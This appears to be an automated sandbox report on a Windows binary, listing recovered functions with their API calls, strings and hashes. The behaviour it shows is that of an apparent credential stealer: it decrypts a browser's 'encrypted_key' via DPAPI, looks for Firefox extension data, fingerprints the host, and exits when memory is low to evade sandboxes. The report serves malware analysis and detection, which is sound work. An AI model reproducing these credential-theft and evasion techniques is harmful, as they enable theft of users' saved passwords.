API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: cy
API String ID: 2667927680-2201511264
Opcode ID: ba3cc69b846357b92f55d5682153c3db35791bbe1edea23e0d0f8bd6a57a2ba7
Instruction ID: 737a7a1b38670b7edfc8ef5d9a9999f181ccf0bd44f75838366e999016cb9aa9
Opcode Fuzzy Hash: ba3cc69b846357b92f55d5682153c3db35791bbe1edea23e0d0f8bd6a57a2ba7
Instruction Fuzzy Hash: A621D6F6900208E7DB54FBA0FC56EED733CAB99301F404654B54593191EE78AAC98B91

Function 00781220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0078123E
__aulldiv.LIBCMT ref: 00781258
__aulldiv.LIBCMT ref: 00781266
ExitProcess.KERNEL32 ref: 00781294

Strings

@, xrefs: 00781233

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 28618705e91396c2237446d2b9b7cf97cc68e89ea0e9cab03aabc3eab9eaef6c
Instruction ID: 60e549328410479587d65c890e1271fb8003b7829a994e404dd3b260e8d1faea
Opcode Fuzzy Hash: 28618705e91396c2237446d2b9b7cf97cc68e89ea0e9cab03aabc3eab9eaef6c
Instruction Fuzzy Hash: 7A0162B0E80308FADF10EFE0DC49BADB77CBB14705F548449E604B61C0D6B855428759

Function 0078A430 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0078A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0078A13C
Part of subcall function 0078A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0078A161
Part of subcall function 0078A110: LocalAlloc.KERNEL32(00000040,?), ref: 0078A181
Part of subcall function 0078A110: ReadFile.KERNEL32(000000FF,?,00000000,00790447,00000000), ref: 0078A1AA
Part of subcall function 0078A110: LocalFree.KERNEL32(00790447), ref: 0078A1E0
Part of subcall function 0078A110: CloseHandle.KERNEL32(000000FF), ref: 0078A1EA

Part of subcall function 00798FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00798FE2

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 0078A489

Part of subcall function 0078A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>Ox,00000000,00000000), ref: 0078A23F
Part of subcall function 0078A210: LocalAlloc.KERNEL32(00000040,?,?,?,00784F3E,00000000,?), ref: 0078A251
Part of subcall function 0078A210: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,>Ox,00000000,00000000), ref: 0078A27A
Part of subcall function 0078A210: LocalFree.KERNEL32(?,?,?,?,00784F3E,00000000,?), ref: 0078A28F

memcmp.MSVCRT(?,DPAPI,00000005), ref: 0078A4E2

Part of subcall function 0078A2B0: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0078A2D4
Part of subcall function 0078A2B0: LocalAlloc.KERNEL32(00000040,00000000), ref: 0078A2F3
Part of subcall function 0078A2B0: memcpy.MSVCRT(?,?,?), ref: 0078A316
Part of subcall function 0078A2B0: LocalFree.KERNEL32(?), ref: 0078A323

Strings

, xrefs: 0078A511
"encrypted_key":", xrefs: 0078A480
DPAPI, xrefs: 0078A4D9

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpymemcmpmemcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 3731072634-738592651
Opcode ID: 1cb66ed1cc52896c86b78abcd41984a18c78517633aa6c8aeccf6fea69d5ec7f
Instruction ID: 8e904f3d38acc34672d1b92f47dd21c6267d116480884008a8322de9099d0634
Opcode Fuzzy Hash: 1cb66ed1cc52896c86b78abcd41984a18c78517633aa6c8aeccf6fea69d5ec7f
Instruction Fuzzy Hash: B33152B6D40208EBDF04EFE4DC45AEE77B8BF99300F444519E901A3241E7389A55CBA2

Function 00797F90 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00797FC7
HeapAlloc.KERNEL32(00000000), ref: 00797FCE
RegOpenKeyExA.KERNEL32(80000002,00EDD1C8,00000000,00020119,?), ref: 00797FEE
RegQueryValueExA.KERNEL32(?,00EE1308,00000000,00000000,000000FF,000000FF), ref: 0079800F
RegCloseKey.ADVAPI32(?), ref: 00798022

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: c27cdf1677efa0ed753124f65c1b159dbf45fdd5264985c110d7baf73152f6b5
Instruction ID: d0a527f02423287cd7fc03a614eb54155c84da9a7f778d5850dbe37d372bb16b
Opcode Fuzzy Hash: c27cdf1677efa0ed753124f65c1b159dbf45fdd5264985c110d7baf73152f6b5
Instruction Fuzzy Hash: 60114CB1A44305ABDB00CBD8ED46FAFBBB8FB45B11F104219F615A7290EB7959018BA1

Function 007812A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 007812B4
HeapAlloc.KERNEL32(00000000), ref: 007812BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 007812D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 007812F5
RegCloseKey.ADVAPI32(?), ref: 007812FF

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 95ada963a3d30be8edf0b24899b8f23657d1c7ebb982783846d75573908ce6ca
Instruction ID: 6bd9ebf6ce160c5eec30cfd67ae7abe57674148be85377ea84858e3e659e55e0
Opcode Fuzzy Hash: 95ada963a3d30be8edf0b24899b8f23657d1c7ebb982783846d75573908ce6ca
Instruction Fuzzy Hash: DF01CD79A44309BBDB14DFE4EC49FAE777CBB48701F104195FA09A7290DA749A018B90

Function 0078A7D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00EDA9B0,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,?,007902B3), ref: 0078A7ED
LoadLibraryA.KERNEL32(00EE1268,?,?,?,?,?,?,?,?,?,?,?,007902B3), ref: 0078A876

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079AB30: lstrlenA.KERNEL32(00000000,?,?,00795DA4,007A0ADF,007A0ADB,?,?,00796DB6,00000000,?,00ED7128,?,007A10F4,?,00000000), ref: 0079AB3B
Part of subcall function 0079AB30: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AB95

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

SetEnvironmentVariableA.KERNEL32(00EDA9B0,00000000,00000000,?,007A137C,?,007902B3,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,007A0B0A), ref: 0078A862

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0078A7E2, 0078A7F6, 0078A80C

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 22e63d26d030ec1563482153b12092407d34175fd28249d8d6d330605645949f
Instruction ID: ea7e95d19353ff1b212bd35f25956658c83e7667bdd0a40b5bd0488f77f68e36
Opcode Fuzzy Hash: 22e63d26d030ec1563482153b12092407d34175fd28249d8d6d330605645949f
Instruction Fuzzy Hash: 65410CB1949304EBCB04EBE4FC59BAE37B5BB04302F554519F505B32A1EB386946CB61

Function 0078F5A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0079AAF6

Part of subcall function 0078A110: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0078A13C
Part of subcall function 0078A110: GetFileSizeEx.KERNEL32(000000FF,?), ref: 0078A161
Part of subcall function 0078A110: LocalAlloc.KERNEL32(00000040,?), ref: 0078A181
Part of subcall function 0078A110: ReadFile.KERNEL32(000000FF,?,00000000,00790447,00000000), ref: 0078A1AA
Part of subcall function 0078A110: LocalFree.KERNEL32(00790447), ref: 0078A1E0
Part of subcall function 0078A110: CloseHandle.KERNEL32(000000FF), ref: 0078A1EA

Part of subcall function 00798FC0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00798FE2

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,007A1678,007A0D93), ref: 0078F64C
lstrlenA.KERNEL32(00000000), ref: 0078F66B

Strings

moz-extension+++, xrefs: 0078F6AD
^userContextId=4294967295, xrefs: 0078F69C

Memory Dump Source

Source File: 00000000.00000002.2569662027.0000000000781000.00000080.00000001.01000000.00000003.sdmp, Offset: 00780000, based on PE: true

Associated: 00000000.00000002.2569628567.0000000000780000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569707779.000000000079E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569739767.00000000007AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000856000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000866000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000894000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000008FB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000091B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.0000000000927000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.000000000092A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009E8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2569833392.00000000009EE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2570406057.0000000000A68000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_780000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 416f349acd3e51e730472738554f358993c46d4c2b2fc8fd18bdf916d5fc04a5
Instruction ID: 292b0919d9a51555ad0f07f17dfd08ccc22f269c0f65086cb585e77cda8e576b
Opcode Fuzzy Hash: 416f349acd3e51e730472738554f358993c46d4c2b2fc8fd18bdf916d5fc04a5
Instruction Fuzzy Hash: 0751F3B2D11208EBCF04FBB4ED5ADED7379AF54300F408568F41667191EE386A08CBA6

Function 00791C60 Relevance: 6.1, APIs: 2, Strings: 1, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0079AA50: lstrcpy.KERNEL32(007A0AF3,00000000), ref: 0079AA98

Part of subcall function 0079ACC0: lstrlenA.KERNEL32(?,007A10F8,?,00000000,007A0AF3), ref: 0079ACD5
Part of subcall function 0079ACC0: lstrcpy.KERNEL32(00000000), ref: 0079AD14
Part of subcall function 0079ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0079AD22

Part of subcall function 0079ABB0: lstrcpy.KERNEL32(?,007A0AF3), ref: 0079AC15

Part of subcall function 00797690: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 007976D2
Part of subcall function 00797690: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0079770F
Part of subcall function 00797690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00797793
Part of subcall function 00797690: HeapAlloc.KERNEL32(00000000), ref: 0079779A

Part of subcall function 0079AC30: lstrcpy.KERNEL32(00000000,?), ref: 0079AC82
Part of subcall function 0079AC30: lstrcatA.KERNEL32(00000000), ref: 0079AC92

Part of subcall function 00797820: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00797834
Part of subcall function 00797820: HeapAlloc.KERNEL32(00000000), ref: 0079783B

Part of subcall function 00797950: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0079DEF0,000000FF,?,00791EE9,00000000,?,00EE14A8,00000000,?), ref: 00797982
Part of subcall function 00797950: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0079DEF0,000000FF,?,00791EE9,00000000,?,00EE14A8,00000000,?), ref: 00797989

Part of subcall function 007979E0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,007811B7), ref: 00797A10
Part of subcall function 007979E0: HeapAlloc.KERNEL32(00000000,?,?,?,007811B7), ref: 00797A17
Part of subcall function 007979E0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00797A2F

Part of subcall function 00797A70: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00796CCB), ref: 00797AA0
Part of subcall function 00797A70: HeapAlloc.KERNEL32(00000000,?,?,?,00796CCB), ref: 00797AA7
Part of subcall function 00797A70: GetComputerNameA.KERNEL32(?,00000104), ref: 00797ABF

Part of subcall function 00797B10: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,007A0DE8,00000000,?), ref: 00797B40
Part of subcall function 00797B10: HeapAlloc.KERNEL32(00000000,?,?,?,?,007A0DE8,00000000,?), ref: 00797B47
Part of subcall function 00797B10: GetLocalTime.KERNEL32(?,?,?,?,?,007A0DE8,00000000,?), ref: 00797B54
Part of subcall function 00797B10: wsprintfA.USER32 ref: 00797B83

Part of subcall function 00797BC0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00EE11A8,00000000,?,007A0DF8,00000000,?,00000000,00000000), ref: 00797BF3
Part of subcall function 00797BC0: HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00EE11A8,00000000,?,007A0DF8,00000000,?,00000000,00000000,?), ref: 00797BFA
Part of subcall function 00797BC0: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00EE11A8,00000000,?,007A0DF8,00000000,?,00000000,00000000,?), ref: 00797C0D

Part of subcall function 00797C90: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,00EE11A8,00000000,?,007A0DF8,00000000,?,00000000,00000000), ref: 00797CC5

Part of subcall function 00797D20: GetKeyboardLayoutList.USER32(00000000,00000000,007A05B7), ref: 00797D71
Part of subcall function 00797D20: LocalAlloc.KERNEL32(00000040,?), ref: 00797D89
Part of subcall function 00797D20: GetKeyboardLayoutList.USER32(?,00000000), ref: 00797D9D
Part of subcall function 00797D20: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00797DF2
Part of subcall function 00797D20: LocalFree.KERNEL32(00000000), ref: 00797EB2

Part of subcall function 00797F10: GetSystemPowerStatus.KERNEL32(?), ref: 00797F3D

GetCurrentProcessId.KERNEL32(00000000,?,00EE1448,00000000,?,007A0E0C,00000000,?,00000000,00000000,?,00EE1070,00000000,?,007A0E08,00000000), ref: 007922CE

Part of subcall function 00799600: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00799614
Part of subcall function 00799600: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00799635
Part of subcall function 00799600: CloseHandle.KERNEL32(00000000), ref: 0079963F

Part of subcall function 00797F90: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00797FC7
Part of subcall function 00797F90: HeapAlloc.KERNEL32(00000000), ref: 00797FCE
Part of subcall function 00797F90: RegOpenKeyExA.KERNEL32(80000002,00EDD1C8,00000000,00020119,?), ref: 00797FEE
Part of subcall function 00797F90: RegQueryValueExA.KERNEL32(?,00EE1308,00000000,00000000,000000FF,000000FF), ref: 0079800F
Part of subcall function 00797F90: RegCloseKey.ADVAPI32(?), ref: 00798022

Part of subcall function 007980F0: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00798159
Part of subcall function 007980F0: GetLastError.KERNEL32 ref: 00798168

Part of subcall function 00798060: GetSystemInfo.KERNEL32(007A0E14), ref: 00798090
Part of subcall function 00798060: wsprintfA.USER32 ref: 007980A6

Part of subcall function 00798290: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00EE10E8,00000000,?,007A0E14,00000000,?,00000000), ref: 007982C0
Part of subcall function 00798290: HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00EE10E8,00000000,?,007A0E14,00000000,?,00000000,00000000), ref: 007982C7
Part of subcall function 00798290: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 007982E8
Part of subcall function 00798290: __aulldiv.LIBCMT ref: 00798302
Part of subcall function 00798290: __aulldiv.LIBCMT ref: 00798310
Part of subcall function 00798290: wsprintfA.USER32 ref: 0079833C

Part of subcall function 00798950: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,007A0E10,00000000,?), ref: 007989BF
Part of subcall function 00798950: HeapAlloc.KERNEL32(00000000,?,?,?,?,007A0E10,00000000,?), ref: 007989C6
Part of subcall function 00798950: wsprintfA.USER32 ref: 007989E0

Part of subcall function 007984B0: RegOpenKeyExA.KERNEL32(00000000,00EDE840,00000000,00020019,00000000,007A05BE), ref: 00798534

Part of subcall function 007984B0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 007985B6
Part of subcall function 007984B0: wsprintfA.USER32 ref: 007985E9
Part of subcall function 007984B0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0079860B
Part of subcall function 007984B0: RegCloseKey.ADVAPI32(00000000), ref: 0079861C
